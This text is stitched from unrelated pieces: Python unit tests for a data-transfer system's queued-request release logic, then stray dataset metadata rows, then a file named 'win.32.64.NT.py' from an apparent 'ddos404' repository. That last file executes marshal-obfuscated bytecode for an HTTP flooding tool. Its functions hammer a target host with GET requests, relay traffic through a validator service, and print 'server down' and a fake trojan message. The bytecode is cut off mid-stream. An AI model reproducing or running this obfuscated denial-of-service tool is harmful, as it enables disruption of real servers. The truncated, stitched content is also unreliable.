'request_id': generate_uuid(),
'name': name2,
'bytes': 2,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 2,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name3,
'bytes': 3,
'requested_at': datetime.now().replace(year=2021), # requested after the request below but small enough for max_volume check
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 3,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name4,
'bytes': 3000,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 3000,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
amount_updated_requests = release_waiting_requests_grouped_fifo(self.dest_rse_id, count=1, deadline=0, volume=10, session=self.db_session)
assert amount_updated_requests == 3
# released because it got requested first
request_1 = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request_1['state'] == RequestState.QUEUED
# released because the DID is attached to the same dataset
request_2 = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request_2['state'] == RequestState.QUEUED
# released because of available volume
request_3 = get_request_by_did(self.scope, name3, self.dest_rse_id, session=self.db_session)
assert request_3['state'] == RequestState.QUEUED
# still waiting because there is no free volume
request_4 = get_request_by_did(self.scope, name4, self.dest_rse_id, session=self.db_session)
assert request_4['state'] == RequestState.WAITING
# with maximal volume check -> release one request -> two requests should be released because of attachments
self.db_session.query(models.Request).delete()
self.db_session.commit()
name1 = generate_uuid()
name2 = generate_uuid()
name3 = generate_uuid()
name4 = generate_uuid()
dataset_1_name = generate_uuid()
add_did(self.scope, dataset_1_name, DIDType.DATASET, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name4, 1, self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name1, 'scope': self.scope}], self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name2, 'scope': self.scope}], self.account, session=self.db_session)
set_rse_transfer_limits(self.dest_rse_id, self.all_activities, volume=5, max_transfers=1, session=self.db_session)
request = models.Request(dest_rse_id=self.dest_rse_id, bytes=2, activity=self.all_activities, state=RequestState.SUBMITTED)
request.save(session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'bytes': 1,
'scope': self.scope,
'retry_count': 1,
'rule_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2000),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name2,
'bytes': 2,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 2,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name3,
'bytes': 1,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name4,
'bytes': 1,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_grouped_fifo(self.dest_rse_id, count=1, deadline=0, volume=5, session=self.db_session)
# released because it got requested first
request_1 = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request_1['state'] == RequestState.QUEUED
# released because the DID is attached to the same dataset
request_2 = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request_2['state'] == RequestState.QUEUED
# still waiting because there is no free volume after releasing the two requests above
request_3 = get_request_by_did(self.scope, name3, self.dest_rse_id, session=self.db_session)
assert request_3['state'] == RequestState.WAITING
request_4 = get_request_by_did(self.scope, name4, self.dest_rse_id, session=self.db_session)
assert request_4['state'] == RequestState.WAITING
# with deadline check -> release 0 requests -> 1 request should be released nonetheless
self.db_session.query(models.Request).delete()
self.db_session.commit()
name1 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account)
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name2, 1, self.account)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'requested_at': datetime.now() - timedelta(hours=2),
'request_id': generate_uuid(),
'name': name1,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'requested_at': datetime.now(),
'request_id': generate_uuid(),
'name': name2,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_grouped_fifo(self.source_rse_id, count=0, deadline=1, volume=0, session=self.db_session)
# queued because of deadline
request = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
# waiting because count=0
request = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.WAITING
def test_release_waiting_requests_fifo(self):
""" REQUEST (CORE): release waiting requests based on FIFO. """
# without account and activity check
# two requests -> release one request -> request with oldest requested_at date should be released
name1 = generate_uuid()
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2018),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name2,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_fifo(self.dest_rse_id, count=1, session=self.db_session)
request = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
request2 = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request2['state'] == RequestState.WAITING
# with activity and account check
# two requests -> release two request -> requests with correct account and activity should be released
self.db_session.query(models.Request).delete()
self.db_session.commit()
name1 = generate_uuid()
name2 = generate_uuid()
name3 = generate_uuid()
name4 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name4, 1, self.account, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'account': self.account,
'requested_at': datetime.now().replace(year=2018),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name2,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'account': self.account,
'attributes': {
'activity': 'ignore',
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name3,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'account': InternalAccount('jdoe', **self.vo),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020), # requested latest but account and activity are correct
'name': name4,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'account': self.account,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_fifo(self.dest_rse_id, count=2, account=self.account, activity=self.user_activity, session=self.db_session)
request = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
request = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.WAITING
request = get_request_by_did(self.scope, name3, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.WAITING
request = get_request_by_did(self.scope, name4, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
def test_release_waiting_requests_all(self):
""" REQUEST (CORE): release all waiting requests. """
name1 = generate_uuid()
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2018),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name2,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_all_waiting_requests(self.dest_rse_id, session=self.db_session)
request = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
request = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
@skiplimitedsql
def test_release_waiting_requests_per_deadline(self):
""" REQUEST (CORE): release grouped waiting requests that exceeded waiting time."""
# a request that exceeded the maximal waiting time to be released (1 hour) -> release one request -> only the exceeded request should be released
set_rse_transfer_limits(self.source_rse_id, activity=self.all_activities, strategy='grouped_fifo', session=self.db_session)
name1 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
two_hours = timedelta(hours=2)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'requested_at': datetime.now() - two_hours,
'request_id': generate_uuid(),
'name': name1,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'requested_at': datetime.now(),
'request_id': generate_uuid(),
'name': name2,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_per_deadline(self.source_rse_id, deadline=1, session=self.db_session)
request = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
request = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.WAITING
# a request that exceeded the maximal waiting time to be released (1 hour) -> release one request -> release all requests of the same dataset
name1 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
name3 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
dataset_name = generate_uuid()
add_did(self.scope, dataset_name, DIDType.DATASET, self.account, session=self.db_session)
attach_dids(self.scope, dataset_name, [{'name': name1, 'scope': self.scope}, {'name': name2, 'scope': self.scope}], self.account, session=self.db_session)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'requested_at': datetime.now() - two_hours,
'request_id': generate_uuid(),
'name': name1,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'requested_at': datetime.now(),
'request_id': generate_uuid(),
'name': name2,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'requested_at': datetime.now(),
'request_id': generate_uuid(),
'name': name3,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_per_deadline(self.source_rse_id, deadline=1, session=self.db_session)
request = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
request = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
request = get_request_by_did(self.scope, name3, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.WAITING
| 44.963686
| 246
| 0.598819
| 11,459
| 99,055
| 4.909067
| 0.030456
| 0.044264
| 0.083658
| 0.094573
| 0.939648
| 0.932199
| 0.922937
| 0.914636
| 0.908538
| 0.899845
| 0
| 0.01847
| 0.280137
| 99,055
| 2,202
| 247
| 44.984105
| 0.770426
| 0.066771
| 0
| 0.910777
| 0
| 0
| 0.121506
| 0
| 0
| 0
| 0
| 0
| 0.039098
| 1
| 0.021554
| false
| 0
| 0.007018
| 0
| 0.039098
| 0.018045
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b23105b208582fe5debe97d878aab9a13a64eef2
| 14,319
|
py
|
Python
|
win.32.64.NT.py
|
11ourmine/ddos404
|
d9c2fdb86be1ff392eb368006567eb87969286e1
|
[
"Unlicense"
] | null | null | null |
win.32.64.NT.py
|
11ourmine/ddos404
|
d9c2fdb86be1ff392eb368006567eb87969286e1
|
[
"Unlicense"
] | null | null | null |
win.32.64.NT.py
|
11ourmine/ddos404
|
d9c2fdb86be1ff392eb368006567eb87969286e1
|
[
"Unlicense"
] | null | null | null |
#ngapain stah ^_^
import marshal
exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00@\x00\x00\x00s\xcc\x02\x00\x00d\x00\x00Z\x00\x00d\x01\x00d\x02\x00l\x01\x00m\x02\x00Z\x02\x00\x01d\x01\x00d\x03\x00l\x03\x00m\x04\x00Z\x04\x00\x01d\x01\x00d\x04\x00l\x05\x00Z\x05\x00d\x01\x00d\x04\x00l\x06\x00Z\x06\x00d\x01\x00d\x04\x00l\x07\x00Z\x07\x00d\x01\x00d\x04\x00l\x08\x00Z\x08\x00d\x01\x00d\x04\x00l\t\x00Z\t\x00d\x01\x00d\x04\x00l\n\x00Z\x0b\x00d\x01\x00d\x04\x00l\x0c\x00Z\x0c\x00d\x05\x00\x84\x00\x00Z\r\x00d\x06\x00\x84\x00\x00Z\x0e\x00d\x07\x00\x84\x00\x00Z\x0f\x00d\x08\x00\x84\x00\x00Z\x10\x00d\t\x00\x84\x00\x00Z\x11\x00d\n\x00\x84\x00\x00Z\x12\x00d\x0b\x00\x84\x00\x00Z\x13\x00d\x0c\x00\x84\x00\x00Z\x14\x00e\x15\x00d\r\x00d\x0e\x00\x83\x02\x00Z\x16\x00e\x16\x00j\x17\x00\x83\x00\x00a\x18\x00e\x16\x00j\x19\x00\x83\x00\x00\x01e\x02\x00\x83\x00\x00Z\x1a\x00e\x02\x00\x83\x00\x00Z\x1b\x00e\x1c\x00d\x0f\x00k\x02\x00r\xc8\x02e\x1d\x00e\x06\x00j\x1e\x00\x83\x01\x00d\x10\x00k\x00\x00r$\x01e\x13\x00\x83\x00\x00\x01n\x00\x00e\x14\x00\x83\x00\x00\x01d\x11\x00t\x1f\x00d\x12\x00e \x00t!\x00\x83\x01\x00d\x13\x00e \x00t"\x00\x83\x01\x00d\x14\x00f\x07\x00GHd\x15\x00GHe\r\x00\x83\x00\x00\x01e\x0e\x00\x83\x00\x00\x01e\x05\x00j#\x00d\x16\x00\x83\x01\x00\x01yB\x00e\x07\x00j\x07\x00e\x07\x00j$\x00e\x07\x00j%\x00\x83\x02\x00Z&\x00e&\x00j\'\x00t\x1f\x00e(\x00t!\x00\x83\x01\x00f\x02\x00\x83\x01\x00\x01e&\x00j)\x00d\x17\x00\x83\x01\x00\x01Wn"\x00\x04e\x07\x00j*\x00k\n\x00r\xd7\x01\x01Z+\x00\x01d\x18\x00GHe\x13\x00\x83\x00\x00\x01n\x01\x00Xx\xed\x00e,\x00r\xc4\x02xd\x00e-\x00e(\x00t"\x00\x83\x01\x00\x83\x01\x00D]P\x00Z.\x00e\x08\x00j/\x00d\x19\x00e\x11\x00\x83\x00\x01Z0\x00e,\x00e0\x00_1\x00e0\x00j2\x00\x83\x00\x00\x01e\x08\x00j/\x00d\x19\x00e\x12\x00\x83\x00\x01Z3\x00e,\x00e3\x00_1\x00e3\x00j2\x00\x83\x00\x00\x01q\xf4\x01We\x05\x00j\x05\x00\x83\x00\x00Z2\x00d\x1a\x00a4\x00xP\x00e,\x00r\xac\x02t4\x00d\x1b\x00k\x04\x00r\x85\x02d\x1a\x00a4\x00e\x05\x00j#\x00d\x1c\x00\x83\x01\x00\x01n\x00\x00t4\x00d\x17\x00\x17a4\x00e\x1a\x00j5\x00t4\x00\x83\x01\x00\x01e\x1b\x00j5\x00t4\x00\x83\x01\x00\x01q]\x02We\x1a\x00j6\x00\x83\x00\x00\x01e\x1b\x00j6\x00\x83\x00\x00\x01q\xdb\x01Wn\x00\x00d\x04\x00S(\x1d\x00\x00\x00s\x1f\x02\x00\x00\nCopyright [2019] []\n\nLicensed under the Apache License, Version 2.0 (the "License");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an "AS IS" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\ni\xff\xff\xff\xff(\x01\x00\x00\x00t\x05\x00\x00\x00Queue(\x01\x00\x00\x00t\x0c\x00\x00\x00OptionParserNc\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00sr\x00\x00\x00g\x00\x00a\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x02\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x03\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x04\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x06\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x07\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x08\x00\x83\x01\x00\x01t\x00\x00S(\t\x00\x00\x00Ns\x13\x00\x00\x00Mozilla/5.0 WinInets7\x00\x00\x00Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)s\n\x00\x00\x00Opera/9.80s\x14\x00\x00\x00SuperBot/3.0 (Win32)s\x81\x00\x00\x00Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299ss\x00\x00\x00Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36sr\x00\x00\x00Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36ss\x00\x00\x00Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36(\x02\x00\x00\x00t\x06\x00\x00\x00uagentt\x06\x00\x00\x00append(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\n\x00\x00\x00user_agent\x16\x00\x00\x00s\x14\x00\x00\x00\x00\x02\x06\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01\r\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s$\x00\x00\x00g\x00\x00a\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x02\x00\x83\x01\x00\x01t\x00\x00S(\x03\x00\x00\x00Ns"\x00\x00\x00http://validator.w3.org/check?uri=s\x16\x00\x00\x00dfwdiesel.net/check?u=(\x02\x00\x00\x00t\x04\x00\x00\x00botsR\x03\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x07\x00\x00\x00my_bots$\x00\x00\x00s\x08\x00\x00\x00\x00\x02\x06\x01\r\x01\r\x01c\x01\x00\x00\x00\x02\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00sr\x00\x00\x00yW\x00xP\x00t\x00\x00rU\x00t\x01\x00j\x02\x00j\x03\x00t\x01\x00j\x02\x00j\x04\x00|\x00\x00d\x01\x00i\x01\x00t\x05\x00j\x06\x00t\x07\x00\x83\x01\x00d\x02\x006\x83\x01\x01\x83\x01\x00}\x01\x00d\x03\x00GHt\x08\x00j\t\x00d\x04\x00\x83\x01\x00\x01q\x06\x00WWn\x14\x00\x01\x01\x01t\x08\x00j\t\x00d\x04\x00\x83\x01\x00\x01n\x01\x00Xd\x00\x00S(\x05\x00\x00\x00Nt\x07\x00\x00\x00headerss\n\x00\x00\x00User-Agents&\x00\x00\x00\x1b[94mTROJAN WIN32 IS EXSTRAXING...\x1b[0mg\x9a\x99\x99\x99\x99\x99\xb9?(\n\x00\x00\x00t\x04\x00\x00\x00Truet\x06\x00\x00\x00urllibt\x07\x00\x00\x00requestt\x07\x00\x00\x00urlopent\x07\x00\x00\x00Requestt\x06\x00\x00\x00randomt\x06\x00\x00\x00choiceR\x02\x00\x00\x00t\x04\x00\x00\x00timet\x05\x00\x00\x00sleep(\x02\x00\x00\x00t\x03\x00\x00\x00urlt\x03\x00\x00\x00req(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\r\x00\x00\x00bot_hammering,\x00\x00\x00s\x0e\x00\x00\x00\x00\x01\x03\x01\t\x014\x01\x05\x01\x15\x01\x03\x01c\x01\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00C\x00\x00\x00s\r\x01\x00\x00y\xde\x00x\xd7\x00t\x00\x00r\xdc\x00t\x01\x00d\x01\x00t\x02\x00\x17d\x02\x00\x17t\x03\x00j\x04\x00t\x05\x00\x83\x01\x00\x17d\x03\x00\x17t\x06\x00\x17\x83\x01\x00j\x07\x00d\x04\x00\x83\x01\x00}\x01\x00t\x08\x00j\x08\x00t\x08\x00j\t\x00t\x08\x00j\n\x00\x83\x02\x00}\x02\x00|\x02\x00j\x0b\x00t\x02\x00t\x0c\x00t\r\x00\x83\x01\x00f\x02\x00\x83\x01\x00\x01|\x02\x00j\x0e\x00|\x01\x00t\x02\x00t\x0c\x00t\r\x00\x83\x01\x00f\x02\x00\x83\x02\x00r\xba\x00|\x02\x00j\x0f\x00d\x05\x00\x83\x01\x00\x01d\x06\x00t\x10\x00j\x11\x00t\x10\x00j\x10\x00\x83\x00\x00\x83\x01\x00d\x07\x00f\x03\x00GHn\x12\x00|\x02\x00j\x0f\x00d\x05\x00\x83\x01\x00\x01d\x08\x00GHt\x10\x00j\x12\x00d\t\x00\x83\x01\x00\x01q\x06\x00WWn(\x00\x04t\x08\x00j\x13\x00k\n\x00r\x08\x01\x01}\x03\x00\x01d\n\x00GHt\x10\x00j\x12\x00d\t\x00\x83\x01\x00\x01n\x01\x00Xd\x00\x00S(\x0b\x00\x00\x00Ns\x15\x00\x00\x00GET / HTTP/1.1\nHost: s\x0f\x00\x00\x00\n\n User-Agent: s\x01\x00\x00\x00\ns\x05\x00\x00\x00utf-8i\x01\x00\x00\x00s\x05\x00\x00\x00\x1b[92ms\x1d\x00\x00\x00\x1b[0m \x1b[94m packet sent! \x1b[0ms\x14\x00\x00\x00\x1b[91mshut<->down\x1b[0mg\x9a\x99\x99\x99\x99\x99\xb9?s\x16\x00\x00\x00\x1b[91m server down\x1b[0m(\x14\x00\x00\x00R\x08\x00\x00\x00t\x03\x00\x00\x00strt\x04\x00\x00\x00hostR\r\x00\x00\x00R\x0e\x00\x00\x00R\x02\x00\x00\x00t\x04\x00\x00\x00datat\x06\x00\x00\x00encodet\x06\x00\x00\x00sockett\x07\x00\x00\x00AF_INETt\x0b\x00\x00\x00SOCK_STREAMt\x07\x00\x00\x00connectt\x03\x00\x00\x00intt\x04\x00\x00\x00portt\x06\x00\x00\x00sendtot\x08\x00\x00\x00shutdownR\x0f\x00\x00\x00t\x05\x00\x00\x00ctimeR\x10\x00\x00\x00t\x05\x00\x00\x00error(\x04\x00\x00\x00t\x04\x00\x00\x00itemt\x06\x00\x00\x00packett\x01\x00\x00\x00st\x01\x00\x00\x00e(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x07\x00\x00\x00down_it6\x00\x00\x00s\x1c\x00\x00\x00\x00\x01\x03\x01\t\x012\x01\x18\x01\x19\x01\x1e\x01\r\x01 